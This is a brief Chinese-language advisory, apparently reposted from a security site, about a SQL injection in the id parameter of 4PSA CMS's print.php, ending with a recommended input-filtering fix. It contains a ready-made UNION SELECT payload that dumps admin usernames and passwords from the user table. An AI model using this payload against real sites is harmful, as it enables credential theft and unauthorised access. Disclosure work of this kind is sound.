标题: 4PSA CMS SQL Injection Vulnerabilities
作者: #BHG Security Center www.2cto.com  Nitrojen90
开发程序官网: http://www.4psa.com/
影响版本: 最新版
风险等级：高
测试平台: GNU/Linux - Windows
示例：
 
http://www.2cto.com /print.php?id=[SQL]
#
# write the code in front of the print.php?id= and enter for show all admin
#
# user & Pass.
#
# Eval Code : NULL UNION+SelEct+group_concat(uname,0x3a,pwd),2+FROM user--
#
致谢
# Mr.XHat - Bl4ck.Viper - Dj.TiniVini
www.2cto.com提供修复：
 
过滤print.php页面id参数输入